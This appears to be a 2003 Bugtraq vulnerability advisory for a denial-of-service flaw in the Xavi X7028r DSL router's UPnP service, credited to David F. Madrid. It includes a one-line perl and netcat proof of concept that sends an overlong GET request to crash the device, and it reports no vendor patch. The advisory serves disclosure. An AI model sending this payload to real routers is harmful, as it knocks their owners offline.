Xavi DSL Router UPNP Long Request Denial Of Service Vulnerability

Bugtraq ID:	8252
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 23 2003 12:00AM
Updated:	Jul 23 2003 12:00AM
Credit:	Discovery credited to David F. Madrid.
Vulnerable:	Xavi X7028r DSL Router 0
Not Vulnerable:

Xavi DSL Router UPNP Long Request Denial Of Service Vulnerability

A problem has been reported in the handling of requests of excessive length placed to the service on port 280 by the Xavi X7028r DSL router. This may allow an attacker to crash a vulnerable router.

Xavi DSL Router UPNP Long Request Denial Of Service Vulnerability

This vulnerability may be exploited with a web browser.

The following proof-of-concept has been made available by David F.Madrid:

perl -e 'print "GET /"."A"x1008;print "\nHost:www.example.com:280\n\n\n\n\n"' | netcat -v -n www.example.com 80

Xavi DSL Router UPNP Long Request Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Xavi DSL Router UPNP Long Request Denial Of Service Vulnerability

References:

• Company Homepage (Xavi)